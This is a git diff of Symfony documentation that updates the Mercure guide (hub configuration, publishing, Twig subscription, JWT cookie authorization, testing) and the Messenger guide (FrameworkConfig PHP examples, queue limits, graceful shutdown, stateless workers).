+If you don't want to use the provided environment variables,
+use the following configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mercure.yaml
+        mercure:
+            hubs:
+                default:
+                    url: https://mercure-hub.example.com/.well-known/mercure
+                    jwt:
+                        secret: '!ChangeMe!'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mercure.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <config>
+            <hub
+                name="default"
+                url="https://mercure-hub.example.com/.well-known/mercure"
+            >
+                <jwt secret="!ChangeMe!"/>
+            </hub>
+        </config>
+
+    .. code-block:: php
+
+        // config/packages/mercure.php
+        $container->loadFromExtension('mercure', [
+            'hubs' => [
+                'default' => [
+                    'url' => 'https://mercure-hub.example.com/.well-known/mercure',
+                    'jwt' => [
+                        'secret' => '!ChangeMe!',
+                    ],
+                ],
+            ],
+        ]);
+
+
 Basic Usage
 -----------
 
@@ -149,21 +204,21 @@ service, including controllers::
     // src/Controller/PublishController.php
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\PublisherInterface;
+    use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublishController
+    class PublishController extends AbstractController
     {
-        public function __invoke(PublisherInterface $publisher): Response
+        public function publish(HubInterface $hub): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock'])
             );
 
-            // The Publisher service is an invokable object
-            $publisher($update);
+            $hub->publish($update);
 
             return new Response('published!');
         }
@@ -175,8 +230,8 @@ the **topic** being updated. This topic should be an `IRI`_
 of the resource being dispatched.
 
 Usually, this parameter contains the original URL of the resource
-transmitted to the client, but it can be any valid `IRI`_, it doesn't
-have to be a URL that exists (similarly to XML namespaces).
+transmitted to the client, but it can be any string or `IRI`_,
+and it doesn't have to be a URL that exists (similarly to XML namespaces).
 
 The second parameter of the constructor is the content of the update.
 It can be anything, stored in any format.
@@ -186,34 +241,57 @@ Atom, HTML or XML is recommended.
 Subscribing
 ~~~~~~~~~~~
 
-Subscribing to updates in JavaScript is straightforward:
+Subscribing to updates in JavaScript from a Twig template is straightforward:
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    const eventSource = new EventSource('http://localhost:3000/.well-known/mercure?topic=' + encodeURIComponent('http://example.com/books/1'));
+    <script>
+    const eventSource = new EventSource("{{ mercure('https://example.com/books/1')|escape('js') }}");
     eventSource.onmessage = event => {
         // Will be called every time an update is published by the server
         console.log(JSON.parse(event.data));
     }
+    </script>
+
+The ``mercure()`` Twig function will generate the URL of the Mercure hub
+according to the configuration. The URL will include the ``topic`` query
+parameters corresponding to the topics passed as first argument.
+
+If you want to access to this URL from an external JavaScript file, generate the
+URL in a dedicated HTML element:
 
-Mercure also allows to subscribe to several topics,
+.. code-block:: twig
+
+    <script type="application/json" id="mercure-url">
+    {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}
+    </script>
+
+Then retrieve it from your JS file:
+
+.. code-block:: javascript
+
+    const url = JSON.parse(document.getElementById("mercure-url").textContent);
+    const eventSource = new EventSource(url);
+    // ...
+
+Mercure also allows subscribing to several topics,
 and to use URI Templates or the special value ``*`` (matched by all topics)
 as patterns:
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    // URL is a built-in JavaScript class to manipulate URLs
-    const url = new URL('http://localhost:3000/.well-known/mercure');
-    url.searchParams.append('topic', 'http://example.com/books/1');
-    // Subscribe to updates of several Book resources
-    url.searchParams.append('topic', 'http://example.com/books/2');
-    // All Review resources will match this pattern
-    url.searchParams.append('topic', 'http://example.com/reviews/{id}');
+    <script>
+    {# Subscribe to updates of several Book resources and to all Review resources matching the given pattern #}
+    const eventSource = new EventSource("{{ mercure([
+        'https://example.com/books/1',
+        'https://example.com/books/2',
+        'https://example.com/reviews/{id}'
+    ])|escape('js') }}");
 
-    const eventSource = new EventSource(url);
     eventSource.onmessage = event => {
         console.log(JSON.parse(event.data));
     }
+    </script>
 
 .. tip::
 
@@ -233,43 +311,6 @@ as patterns:
 
     Test if a URI Template match a URL using `the online debugger`_
 
-Async dispatching
------------------
-
-Instead of calling the ``Publisher`` service directly, you can also let Symfony
-dispatching the updates asynchronously thanks to the provided integration with
-the Messenger component.
-
-First, be sure :doc:`to install the Messenger component </messenger>`
-and to configure properly a transport (if you don't, the handler will
-be called synchronously).
-
-Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus,
-it will be handled automatically::
-
-    // src/Controller/PublishController.php
-    namespace App\Controller;
-
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\Update;
-    use Symfony\Component\Messenger\MessageBusInterface;
-
-    class PublishController
-    {
-        public function __invoke(MessageBusInterface $bus): Response
-        {
-            $update = new Update(
-                'http://example.com/books/1',
-                json_encode(['status' => 'OutOfStock'])
-            );
-
-            // Sync, or async (RabbitMQ, Kafka...)
-            $bus->dispatch($update);
-
-            return new Response('published!');
-        }
-    }
-
 Discovery
 ---------
 
@@ -288,17 +329,14 @@ by using the ``AbstractController::addLink`` helper method::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\WebLink\Link;
+    use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request): JsonResponse
+        public function __invoke(Request $request, Discovery $discovery): JsonResponse
         {
-            // This parameter is automatically created by the MercureBundle
-            $hubUrl = $this->getParameter('mercure.default_hub');
-
             // Link: <http://localhost:3000/.well-known/mercure>; rel="mercure"
-            $this->addLink($request, new Link('mercure', $hubUrl));
+            $discovery->addLink($request);
 
             return $this->json([
                 '@id' => '/books/1',
@@ -319,8 +357,8 @@ and to subscribe to it:
             const hubUrl = response.headers.get('Link').match(/<([^>]+)>;\s+rel=(?:mercure|"[^"]*mercure[^"]*")/)[1];
 
             // Append the topic(s) to subscribe as query parameter
-            const hub = new URL(hubUrl);
-            hub.searchParams.append('topic', 'http://example.com/books/{id}');
+            const hub = new URL(hubUrl, window.origin);
+            hub.searchParams.append('topic', 'https://example.com/books/{id}');
 
             // Subscribe to updates
             const eventSource = new EventSource(hub);
@@ -330,30 +368,30 @@ and to subscribe to it:
 Authorization
 -------------
 
-Mercure also allows to dispatch updates only to authorized clients.
+Mercure also allows dispatching updates only to authorized clients.
 To do so, mark the update as **private** by setting the third parameter
 of the ``Update`` constructor to ``true``::
 
     // src/Controller/Publish.php
     namespace App\Controller;
 
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Mercure\PublisherInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublishController
+    class PublishController extends AbstractController
     {
-        public function __invoke(PublisherInterface $publisher): Response
+        public function publish(HubInterface $hub): Response
         {
             $update = new Update(
-                'http://example.com/books/1',
+                'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
                 true // private
             );
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
             // Subscriber's JWT must contain this topic, a URI template it matches or * in mercure.subscribe to receive the update
-            $publisher($update);
+            $hub->publish($update);
 
             return new Response('private update published!');
         }
@@ -365,102 +403,100 @@ a JWT containing a topic selector matching by the update's topic.
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
 
-Cookies are automatically sent by the browsers when opening an ``EventSource``
-connection if the ``withCredentials`` attribute is set to ``true``:
+Cookies can be set automatically by Symfony by passing the appropriate options
+to the ``mercure()`` Twig function. Cookies set by Symfony will be automatically
+passed by the browsers to the Mercure hub if the ``withCredentials`` attribute
+of the ``EventSource`` class is set to ``true``. Then, the Hub will verify the
+validity of the provided JWT, and extract the topic selectors from it.
 
-.. code-block:: javascript
+.. code-block:: twig
 
-    const eventSource = new EventSource(hub, {
+    <script>
+    const eventSource = new EventSource("{{ mercure('https://example.com/books/1', { subscribe: 'https://example.com/books/1' })|escape('js') }}", {
         withCredentials: true
     });
+    </script>
+
+The supported options are:
+
+* ``subscribe``: the list of topic selectors to include in the ``mercure.subscribe`` claim of the JWT
+* ``publish``: the list of topic selectors to include in the ``mercure.publish`` claim of the JWT
+* ``additionalClaims``: extra claims to include in the JWT (expiration date, token ID...)
 
 Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
+.. caution::
+
+    To use the cookie authentication method, the Symfony app and the Hub
+    must be served from the same domain (can be different sub-domains).
+
 .. tip::
 
     The native implementation of EventSource doesn't allow specifying headers.
     For example, authorization using Bearer token. In order to achieve that, use `a polyfill`_
 
-    .. code-block:: javascript
+    .. code-block:: twig
 
-        const es = new EventSourcePolyfill(url, {
+        <script>
+        const es = new EventSourcePolyfill("{{ mercure('https://example.com/books/1') }}", {
             headers: {
                 'Authorization': 'Bearer ' + token,
             }
         });
+        </script>
 
-In the following example controller,
-the generated cookie contains a JWT, itself containing the appropriate topic selector.
-This cookie will be automatically sent by the web browser when connecting to the Hub.
-Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
-from it.
-
-To generate the JWT, we'll use the ``lcobucci/jwt`` library. Install it:
+Programmatically Setting The Cookie
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: terminal
+Sometimes, it can be convenient to set the authorization cookie from your code
+instead of using the Twig function. MercureBundle provides a convenient service,
+:class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
 
-    $ composer require lcobucci/jwt
+In the following example controller, the added cookie contains a JWT, itself
+containing the appropriate topic selector.
 
 And here is the controller::
 
     // src/Controller/DiscoverController.php
     namespace App\Controller;
 
-    use Lcobucci\JWT\Builder;
-    use Lcobucci\JWT\Signer\Hmac\Sha256;
-    use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Cookie;
+    use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\WebLink\Link;
+    use Symfony\Component\Mercure\Authorization;
+    use Symfony\Component\Mercure\Discovery;
 
     class DiscoverController extends AbstractController
     {
-        public function __invoke(Request $request): Response
+        public function publish(Request $request, Discovery $discovery, Authorization $authorization): JsonResponse
         {
-            $hubUrl = $this->getParameter('mercure.default_hub');
-            $this->addLink($request, new Link('mercure', $hubUrl));
-
-            $token = (new Builder())
-                // set other appropriate JWT claims, such as an expiration date
-                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe!
-
-            $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
-            $cookie = Cookie::create('mercureAuthorization')
-                ->withValue($token)
-                ->withPath('/.well-known/mercure')
-                ->withSecure(true)
-                ->withHttpOnly(true)
-                ->withSameSite('strict')
-            ;
-            $response->headers->setCookie($cookie);
-
-            return $response;
+            $discovery->addLink($request);
+            $authorization->setCookie($request, ['https://example.com/books/1']);
+
+            return $this->json([
+                '@id' => '/demo/books/1',
+                'availability' => 'https://schema.org/InStock'
+            ]);
         }
     }
 
-.. caution::
-
-    To use the cookie authentication method, the Symfony app and the Hub
-    must be served from the same domain (can be different sub-domains).
-
 Programmatically Generating The JWT Used to Publish
 ---------------------------------------------------
 
 Instead of directly storing a JWT in the configuration,
-you can create a service that will return the token used by
-the ``Publisher`` object::
+you can create a token provider that will return the token used by
+the ``HubInterface`` object::
 
-    // src/Mercure/MyJwtProvider.php
+    // src/Mercure/MyTokenProvider.php
     namespace App\Mercure;
 
-    final class MyJwtProvider
+    use Symfony\Component\Mercure\Jwt\TokenProviderInterface;
+
+    final class MyTokenProvider implements TokenProviderInterface
     {
-        public function __invoke(): string
+        public function getJwt(): string
         {
             return 'the-JWT';
         }
@@ -477,7 +513,8 @@ Then, reference this service in the bundle configuration:
             hubs:
                 default:
                     url: https://mercure-hub.example.com/.well-known/mercure
-                    jwt_provider: App\Mercure\MyJwtProvider
+                    jwt:
+                        provider: App\Mercure\MyTokenProvider
 
     .. code-block:: xml
 
@@ -487,8 +524,9 @@ Then, reference this service in the bundle configuration:
             <hub
                 name="default"
                 url="https://mercure-hub.example.com/.well-known/mercure"
-                jwt-provider="App\Mercure\MyJwtProvider"
-            />
+            >
+                <jwt provider="App\Mercure\MyTokenProvider"/>
+            </hub>
         </config>
 
     .. code-block:: php
@@ -500,7 +538,9 @@ Then, reference this service in the bundle configuration:
             'hubs' => [
                 'default' => [
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
-                    'jwt_provider' => MyJwtProvider::class,
+                    'jwt' => [
+                        'provider' => MyJwtProvider::class,
+                    ],
                 ],
             ],
         ]);
@@ -533,22 +573,16 @@ hypermedia API, and automatic update broadcasting through the Mercure hub::
     use ApiPlatform\Core\Annotation\ApiResource;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-    * @ApiResource(mercure=true)
-    * @ORM\Entity
-    */
+    #[ApiResource(mercure: true)]
+    #[ORM\Entity]
     class Book
     {
-        /**
-         * @ORM\Id
-         * @ORM\Column
-         */
-        public $name;
-
-        /**
-         * @ORM\Column
-         */
-        public $status;
+        #[ORM\Id]
+        #[ORM\Column]
+        public string $name = '';
+
+        #[ORM\Column]
+        public string $status = '';
     }
 
 As showcased `in this recording`_, the API Platform Client Generator also
@@ -561,30 +595,65 @@ its Mercure support.
 Testing
 --------
 
-During functional testing there is no need to send updates to Mercure. They will
-be handled by a stub publisher::
+During unit testing there is not need to send updates to Mercure.
+
+You can instead make use of the `MockHub`::
+
+    // tests/FunctionalTest.php
+    namespace App\Tests\Unit\Controller;
+
+    use App\Controller\MessageController;
+    use Symfony\Component\Mercure\HubInterface;
+    use Symfony\Component\Mercure\JWT\StaticTokenProvider;
+    use Symfony\Component\Mercure\MockHub;
+    use Symfony\Component\Mercure\Update;
+
+    class MessageControllerTest extends TestCase
+    {
+        public function testPublishing()
+        {
+            $hub = new MockHub('https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
+                // $this->assertTrue($update->isPrivate());
+
+                return 'id';
+            });
 
-    // tests/Functional/Fixtures/PublisherStub.php
+            $controller = new MessageController($hub);
+
+            // ...
+        }
+    }
+
+During functional testing you can instead decorate the Hub::
+
+    // tests/Functional/Fixtures/HubStub.php
     namespace App\Tests\Functional\Fixtures;
 
-    use Symfony\Component\Mercure\PublisherInterface;
+    use Symfony\Component\Mercure\HubInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublisherStub implements PublisherInterface
+    class HubStub implements HubInterface
     {
-        public function __invoke(Update $update): string
+        public function publish(Update $update): string
         {
-            return '';
+            return 'id';
         }
+
+        // implement rest of HubInterface methods here
     }
 
-PublisherStub decorates the default publisher service so no updates are actually
-sent. Here is the PublisherStub implementation::
+HubStub decorates the default hub service so no updates are actually
+sent. Here is the HubStub implementation:
+
+.. code-block:: yaml
 
     # config/services_test.yaml
-    App\Tests\Functional\Fixtures\PublisherStub:
-        decorates: mercure.hub.default.publisher
+    App\Tests\Functional\Fixtures\HubStub:
+        decorates: mercure.hub.default
+
+.. tip::
 
+    Symfony Panther has `a feature to test applications using Mercure`_.
 
 Debugging
 ---------
@@ -595,36 +664,66 @@ Debugging
 
 Enable the panel in your configuration, as follows:
 
-.. configuration-block::
+MercureBundle is shipped with a debug panel. Install the Debug pack to
+enable it::
 
-    .. code-block:: yaml
+.. code-block:: terminal
 
-        # config/packages/mercure.yaml
-        mercure:
-            enable_profiler: '%kernel.debug%'
+    $ composer require --dev symfony/debug-pack
 
-    .. code-block:: xml
+.. image:: /_images/mercure/panel.png
 
-        <!-- config/packages/mercure.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+Async dispatching
+-----------------
 
-            <mercure:config enable_profiler="%kernel.debug%"/>
+.. tip::
 
-        </container>
+    Async dispatching is discouraged. Most Mercure hubs already
+    handle publications asynchronously and using Messenger is
+    usually not necessary.
 
-    .. code-block:: php
+Instead of calling the ``Publisher`` service directly, you can also let Symfony
+dispatching the updates asynchronously thanks to the provided integration with
+the Messenger component.
 
-        // config/packages/mercure.php
-        $container->loadFromExtension('mercure', [
-            'enable_profiler' => '%kernel.debug%',
-        ]);
+First, be sure :doc:`to install the Messenger component </messenger>`
+and to configure properly a transport (if you don't, the handler will
+be called synchronously).
 
+Then, dispatch the Mercure ``Update`` to the Messenger's Message Bus,
+it will be handled automatically::
 
-.. image:: /_images/mercure/panel.png
+    // src/Controller/PublishController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Mercure\Update;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class PublishController extends AbstractController
+    {
+        public function publish(MessageBusInterface $bus): Response
+        {
+            $update = new Update(
+                'https://example.com/books/1',
+                json_encode(['status' => 'OutOfStock'])
+            );
+
+            // Sync, or async (Doctrine, RabbitMQ, Kafka...)
+            $bus->dispatch($update);
+
+            return new Response('published!');
+        }
+    }
+
+Going further
+-------------
+
+* The Mercure protocol is also supported by :doc:`the Notifier component </notifier>`.
+  Use it to send push notifications to web browsers.
+* `Symfony UX Turbo`_ is a library using Mercure to provide the same experience
+  as with Single Page Applications but without having to write a single line of JavaScript!
 
 .. _`the Mercure protocol`: https://mercure.rocks/spec
 .. _`Server-Sent Events (SSE)`: https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events
@@ -632,6 +731,7 @@ Enable the panel in your configuration, as follows:
 .. _`high-level implementations`: https://mercure.rocks/docs/ecosystem/awesome
 .. _`In this recording`: https://www.youtube.com/watch?v=UI1l0JOjLeI
 .. _`Mercure.rocks`: https://mercure.rocks
+.. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY
@@ -639,3 +739,5 @@ Enable the panel in your configuration, as follows:
 .. _`practical UI`: https://twitter.com/ChromeDevTools/status/562324683194785792
 .. _`the dedicated API Platform documentation`: https://api-platform.com/docs/core/mercure/
 .. _`the online debugger`: https://uri-template-tester.mercure.rocks
+.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket
+.. _`Symfony UX Turbo`: https://github.com/symfony/ux-turbo
diff --git a/messenger.rst b/messenger.rst
index 6c2f2e35794..87fa30ea818 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -99,9 +99,6 @@ You're ready! To dispatch the message (and call the handler), inject the
             // will cause the SmsNotificationHandler to be called
             $bus->dispatch(new SmsNotification('Look! I created a message!'));
 
-            // or use the shortcut
-            $this->dispatchMessage(new SmsNotification('Look! I created a message!'));
-
             // ...
         }
     }
@@ -179,19 +176,20 @@ that uses this configuration:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async' => '%env(MESSENGER_TRANSPORT_DSN)%',
-
-                    // or expanded to configure more options
-                    'async' => [
-                       'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                       'options' => []
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('async')
+                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+            ;
+
+            $framework->messenger()
+                ->transport('async')
+                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                    ->options([])
+            ;
+        };
 
 .. _messenger-routing:
 
@@ -213,7 +211,7 @@ you can configure them to be sent to a transport:
 
                 routing:
                     # async is whatever name you gave your transport above
-                    'App\Message\SmsNotification':  async
+                    'App\Message\SmsNotification': async
 
     .. code-block:: xml
 
@@ -240,14 +238,14 @@ you can configure them to be sent to a transport:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    // async is whatever name you gave your transport above
-                    'App\Message\SmsNotification' => 'async',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                // async is whatever name you gave your transport above
+                ->routing('App\Message\SmsNotification')->senders(['async'])
+            ;
+        };
 
 Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async``
 transport and its handler(s) will *not* be called immediately. Any messages not
@@ -302,16 +300,22 @@ to multiple transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'routing' => [
-                    // route all messages that extend this example base class or interface
-                    'App\Message\AbstractAsyncMessage' => 'async',
-                    'App\Message\AsyncMessageInterface' => 'async',
-                    'My\Message\ToBeSentToTwoSenders' => ['async', 'audit'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+            // route all messages that extend this example base class or interface
+            $messenger->routing('App\Message\AbstractAsyncMessage')->senders(['async']);
+            $messenger->routing('App\Message\AsyncMessageInterface')->senders(['async']);
+            $messenger->routing('My\Message\ToBeSentToTwoSenders')->senders(['async', 'audit']);
+        };
+
+.. note::
+
+    If you configure routing for both a child and parent class, both rules
+    are used. E.g. if you have an ``SmsNotification`` object that extends
+    from ``Notification``, both the routing for ``Notification`` and
+    ``SmsNotification`` will be used.
 
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -418,18 +422,16 @@ transport and "sending" messages there to be handled immediately:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    // ... other transports
-
-                    'sync' => 'sync://',
-                ],
-                'routing' => [
-                    'App\Message\SmsNotification' => 'sync',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // ... other transports
+
+            $messenger->transport('sync')->dsn('sync://');
+            $messenger->routing('App\Message\SmsNotification')->senders(['sync']);
+        };
 
 Creating your Own Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -456,6 +458,16 @@ The first argument is the receiver's name (or service id if you routed to a
 custom service). By default, the command will run forever: looking for new messages
 on your transport and handling them. This command is called your "worker".
 
+.. tip::
+
+    To properly stop a worker, throw an instance of
+    :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`.
+
+    .. versionadded:: 5.4
+
+        The :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`
+        class was introduced in Symfony 5.4.
+
 Deploying to Production
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -480,6 +492,14 @@ On production, there are a few important things to think about:
     new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
+**Use the Same Cache Between Deploys**
+    If your deploy strategy involves the creation of new target directories, you
+    should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
+    configuration option in order to use the same cache namespace between deployments.
+    Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir``
+    parameter as base for the namespace, which will lead to different namespaces
+    each time a new deployment is made.
+
 Prioritized Transports
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -554,28 +574,22 @@ different messages to them. For example:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'high',
-                        ],
-                    ],
-                    'async_priority_low' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'queue_name' => 'low',
-                        ],
-                    ],
-                ],
-                'routing' => [
-                    'App\Message\SmsNotification' => 'async_priority_low',
-                    'App\Message\NewUserWelcomeEmail' => 'async_priority_high',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['queue_name' => 'high']);
+
+            $messenger->transport('async_priority_low')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['queue_name' => 'low']);
+
+            $messenger->routing('App\Message\SmsNotification')->senders(['async_priority_low']);
+            $messenger->routing('App\Message\NewUserWelcomeEmail')->senders(['async_priority_high']);
+        };
 
 You can then run individual workers for each transport or instruct one worker
 to handle messages in a priority order:
@@ -587,6 +601,29 @@ to handle messages in a priority order:
 The worker will always first look for messages waiting on ``async_priority_high``. If
 there are none, *then* it will consume messages from ``async_priority_low``.
 
+.. _messenger-limit-queues:
+
+Limit Consuming to Specific Queues
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Some transports (notably AMQP) have the concept of exchanges and queues. A Symfony
+transport is always bound to an exchange. By default, the worker consumes from all
+queues attached to the exchange of the specified transport. However, there are use
+cases to want a worker to only consume from specific queues.
+
+You can limit the worker to only process messages from specific queues:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume my_transport --queues=fasttrack
+
+To allow using the ``queues`` option, the receiver must implement the
+:class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\QueueReceiverInterface`.
+
+.. versionadded:: 5.3
+
+    Limiting the worker to specific queues was introduced in Symfony 5.3.
+
 .. _messenger-supervisor:
 
 Supervisor Configuration
@@ -619,8 +656,18 @@ times:
     process_name=%(program_name)s_%(process_num)02d
 
 Change the ``async`` argument to use the name of your transport (or transports)
-and ``user`` to the Unix user on your server. Next, tell Supervisor to read your
-config and start your workers:
+and ``user`` to the Unix user on your server.
+
+If you use the Redis Transport, note that each worker needs a unique consumer
+name to avoid the same message being handled by multiple workers. One way to
+achieve this is to set an environment variable in the Supervisor configuration
+file, which you can then refer to in ``messenger.yaml`` (see Redis section above):
+
+.. code-block:: ini
+
+    environment=MESSENGER_CONSUMER_NAME=%(program_name)s_%(process_num)02d
+
+Next, tell Supervisor to read your config and start your workers:
 
 .. code-block:: terminal
 
@@ -632,6 +679,89 @@ config and start your workers:
 
 See the `Supervisor docs`_ for more details.
 
+Graceful Shutdown
+~~~~~~~~~~~~~~~~~
+
+If you install the `PCNTL`_ PHP extension in your project, workers will handle
+the ``SIGTERM`` POSIX signal to finish processing their current message before
+exiting.
+
+In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
+a Docker container having Supervisor as its entrypoint). In these cases you
+need to add a ``stopwaitsecs`` key to the program configuration (with a value
+of the desired grace period in seconds) in order to perform a graceful shutdown:
+
+.. code-block:: ini
+
+    [program:x]
+    stopwaitsecs=20
+
+Stateless Worker
+~~~~~~~~~~~~~~~~
+
+PHP is designed to be stateless, there are no shared resources across different
+requests. In HTTP context PHP cleans everything after sending the response, so
+you can decide to not take care of services that may leak memory.
+
+On the other hand, workers usually run in long-running CLI processes, which don't
+finish after processing a message. That's why you need to be careful about services
+state to not leak information and/or memory from one message to another message.
+
+However, certain Symfony services, such as the Monolog
+:ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
+In those cases, use the ``reset_on_message`` transport option to automatically
+reset the service container between two messages:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                reset_on_message: true
+                transports:
+                    async:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%" reset-on-message="true">
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->resetOnMessage(true)
+            ;
+        };
+
+.. versionadded:: 5.4
+
+    The ``reset_on_message`` option was introduced in Symfony 5.4.
+
 .. _messenger-retries-failures:
 
 Retries & Failures
